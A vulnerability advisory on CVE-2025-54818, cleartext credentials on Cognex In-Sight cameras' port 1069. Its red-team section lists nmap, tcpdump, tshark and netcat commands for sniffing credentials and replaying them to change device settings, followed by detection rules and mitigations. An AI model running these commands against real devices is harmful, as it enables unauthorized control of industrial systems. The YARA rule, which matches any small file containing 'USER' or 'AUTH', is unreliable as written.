CVE-2025-54818

Executive Summary

CVE-2025-54818 exposes a critical security flaw in Cognex In-Sight Explorer and In-Sight Camera Firmware. The vulnerability resides in a proprietary protocol exposed on TCP port 1069, which is used for management operations such as modifying system properties. The user management functionality transmits sensitive data—including registered usernames and passwords—over an unencrypted channel. This allows an adjacent attacker to intercept valid credentials via network sniffing, leading to full device compromise. With a CVSS score of 8.0, the vulnerability is considered high severity due to the potential for credential theft and subsequent unauthorized access to industrial camera systems. No public proof-of-concept (PoC) or patch is currently available, increasing the risk for unmitigated deployments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary firmware and software from Cognex, an industrial machine vision provider. The risk is primarily to operational technology (OT) environments where these cameras are deployed.

CVSS Breakdown & Threat Level

• CVSS Score: 8.0 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same network segment as the target device.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (PR:N) – No authentication is needed to initiate the attack.
• User Interaction (UI): None (UI:N) – The attack does not require any user action.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High (C:H) – Credentials and sensitive data are fully exposed.
• Integrity (I): High (I:H) – An attacker can modify system properties after gaining access.
• Availability (A): High (A:H) – Full device control could lead to denial of service.

Threat Level: High. The lack of encryption for credential transmission makes this a straightforward target for network sniffing attacks in adjacent network segments.

Deep Dive & Mechanics

The vulnerability stems from the design of the proprietary protocol used by Cognex In-Sight devices on TCP port 1069. This protocol handles management operations, including user authentication and system property modifications. The critical flaw is that all communication, including the transmission of usernames and passwords, occurs in plaintext (unencrypted). An attacker with network access to the device can passively capture network traffic using tools like Wireshark or tcpdump. Once valid credentials are intercepted, the attacker can authenticate to the device and perform any management operation, such as changing configuration, extracting sensitive data, or disrupting operations.

The protocol does not implement any encryption (e.g., TLS/SSL) or authentication challenge mechanisms. This is a classic case of CWE-319: Cleartext Transmission of Sensitive Information. The attack is feasible from any system on the same Layer 2 network (e.g., same Ethernet segment or VLAN) as the vulnerable device.

Vulnerable vs. Patched Code

Since no patch is available, a code comparison is not possible. However, the vulnerable behavior can be described:

Vulnerable (Current):

• The device listens on TCP port 1069.
• When a user authenticates, the username and password are sent in plaintext.
• Example packet capture shows: USER admin PASS mypassword123

Patched (Hypothetical):

• The device would implement TLS encryption for the management protocol.
• Authentication would occur over an encrypted channel, preventing credential interception.
• Example: TLS handshake -> encrypted payload -> USER admin PASS mypassword123

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A Cognex In-Sight camera with firmware vulnerable to CVE-2025-54818, connected to a local network switch.
2. Attacker Machine: Kali Linux or similar, connected to the same network segment.
3. Tools: Wireshark, tcpdump, netcat, Python with Scapy.

Exploitation Steps:

1. Network Discovery: Scan for devices on TCP port 1069.

   nmap -p 1069 --open 192.168.1.0/24
   

2. Traffic Capture: Start packet capture on the attacker's interface.

   tcpdump -i eth0 port 1069 -w capture.pcap
   

3. Trigger Authentication: Wait for a legitimate user to authenticate to the device (or simulate by connecting to the port).

   nc -v 192.168.1.100 1069
   

4. Extract Credentials: Analyze the capture file for plaintext credentials.

   tshark -r capture.pcap -Y "tcp.port==1069" -T fields -e data.text
   

5. Authenticate and Exploit: Use the intercepted credentials to connect and send management commands.

   echo -e "USER admin\nPASS intercepted_password\nSET system.property value" | nc 192.168.1.100 1069
   

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Monitor for traffic on TCP port 1069. Alert on any connections from unauthorized IPs.
2. Encryption Enforcement: If possible, implement network-level encryption (e.g., VPN) for management traffic.
3. Credential Rotation: Immediately rotate all credentials used on the device.
4. Access Control: Restrict network access to the device using firewall rules (e.g., allow only specific management IPs).
5. Honeypot: Deploy a decoy device on port 1069 to detect scanning or exploitation attempts.

Indicators of Compromise (IOCs)

• Network Traffic:
  • TCP connections to port 1069 from unexpected IP addresses.
  • Plaintext strings in packets containing "USER", "PASS", or device-specific commands.
• Logs:
  • Unusual authentication attempts or configuration changes on the device.
• Files:
  • Packet capture files (.pcap) containing port 1069 traffic.
• Tools:
  • Presence of network sniffing tools (e.g., Wireshark, tcpdump) on the network.

Detection Engineering

YARA Rule

rule CVE_2025_54818_Cognex_Credential_Sniffing {
    meta:
        description = "Detects plaintext credential transmission on Cognex In-Sight port 1069"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54818"
    strings:
        $user_cmd = "USER" ascii wide nocase
        $pass_cmd = "PASS" ascii wide nocase
        $login_cmd = "LOGIN" ascii wide nocase
        $auth_cmd = "AUTH" ascii wide nocase
    condition:
        any of ($user_cmd, $pass_cmd, $login_cmd, $auth_cmd) and
        filesize < 10MB
}

Sigma Rule

title: Cognex In-Sight Plaintext Credential Transmission
id: 8a3f5c2e-1b4d-4f7a-9c6e-2d8b0a1e3f5c
status: experimental
description: Detects network traffic containing plaintext credentials on TCP port 1069, indicative of CVE-2025-54818 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port: 1069
        protocol: tcp
        payload|contains:
            - 'USER'
            - 'PASS'
            - 'LOGIN'
            - 'AUTH'
    condition: selection
falsepositives:
    - Legitimate administrative traffic if encryption is not enforced (rare)
level: high

Suricata Rule

alert tcp any any -> any 1069 (msg:"CVE-2025-54818 Cognex In-Sight Plaintext Credential Sniffing"; flow:to_server,established; content:"USER"; nocase; content:"PASS"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate Cognex In-Sight devices on a dedicated VLAN with strict access controls.
2. Firewall Rules: Block TCP port 1069 from all untrusted networks. Allow only specific management workstations.
3. Credential Management: Change all default credentials and use strong, unique passwords. Rotate regularly.
4. Encryption: If possible, use a VPN or SSH tunnel to encrypt management traffic to the device.

Long-Term Fix:

• Vendor Patch: Monitor Cognex for a firmware update that implements encryption (e.g., TLS) for the management protocol. Apply as soon as available.
• Protocol Hardening: If the device supports it, disable the unencrypted management interface and use a secure alternative (e.g., HTTPS if available).

Workarounds:

• Disable Unused Services: If the management protocol is not required, disable it via device configuration.
• Network Monitoring: Deploy IDS/IPS rules (as above) to detect and alert on exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert